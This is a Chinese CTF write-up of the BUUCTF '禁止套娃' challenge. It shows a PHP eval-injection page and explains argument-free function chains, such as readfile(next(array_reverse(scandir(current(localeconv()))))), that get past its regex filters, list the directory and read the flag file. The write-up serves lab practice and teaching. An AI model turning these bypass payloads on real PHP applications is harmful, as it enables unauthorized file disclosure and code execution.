无参数RCE

无参数RCE

前言

• 环境:buuctf中[GXYCTF2019]禁止套娃
• 知识点:无参数读文件和RCE
• 参考:博客

做题

进去题目，f12没提示，响应包没提示，扫后台的话,buu扫会导致429,难搞看了wp是git泄露，但是我用GitHack却还原不了。。不知道啥原因

index.php

<?php
include "flag.php";
echo "flag在哪里呢？<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data://|filter://|php://|phar:///i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+((?R)?)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦！");
            }
        }
        else{
            die("再好好想想！");
        }
    }
    else{
        die("还想读flag，臭弟弟！");
    }
}
// highlight_file(__FILE__);
?>

审计，绕过三个正则，第一个正则是防伪协议的，第三个正则防一些关键字，第二个正则，额。。看不懂

​ 正则知识

​ w :匹配包括下划线的任何单词字符,等价于 [A-Za-z0-9_]

​ W :匹配任何非单词字符,等价于 [^A-Za-z0-9_]

​ (?R)?这个意思为递归整个匹配模式

那么这里第二个正则表示的意思大概是匹配无参数的函数，内部可以无限嵌套相同的模式（无参数函数），将匹配的替换为空，判断剩下的是否只有;

举个例子：

a(b(c()));可以使用，但是a('b')或者a('b','c')这种含有参数的都不能使用

所以我们要使用无参数的函数进行文件读取或者命令执行

以下payload都是从博客,瞟来的

读取当前目录

​ localeconv()

​ localeconv()返回一包含本地数字及货币格式信息的数组。而数组第一项就是"."

​ current()返回数组中的单元，默认取第一个值

​ print_r(scandir(current(localeconv())));成功打印出当前目录下文件

​ 或者使用print_r(scandir(pos(localeconv())));，pos是current的别名

​ 如果都被过滤还可以使用reset()，该函数返回数组第一个单元的值

​ 即print_r(scandir(reset(localeconv())))

​ 正常的，我们还可以用print_r(scandir('绝对路径'));来查看当前目录文件名

​ 获取绝对路径可用的有getcwd()和realpath('.')

​ 所以我们还可以用print_r(scandir(getcwd()));和print_r(scandir(realpath('.')));输出当前文件夹所有文件名

读取当前目录下文件

​ 手册里有这些方法，如果要获取的数组是最后一个我们可以用：

​ show_source(end(scandir(getcwd())));或者用readfile、highlight_file、file_get_contents 等读文件函数都可 以（使用readfile和file_get_contents读文件，显示在源码处）

​ ps：readgzfile()也可读文件，常用于绕过过滤

​ array_reverse() 以相反的元素顺序返回数组

​ zflag.php本来在最后一位，反过来就成为第一位，可以直接用current(pos)读取,即 show_source(current(array_reverse(scandir(getcwd()))));

​ 如果是倒数第二个我们可以用：

​ show_source(next(array_reverse(scandir(getcwd()))));

所以这题可以构造payload:

读取目录

?exp=print_r(scandir(current(localeconv())));

读取flag文件

?exp=readfile(next(array_reverse(scandir(current(localeconv())))));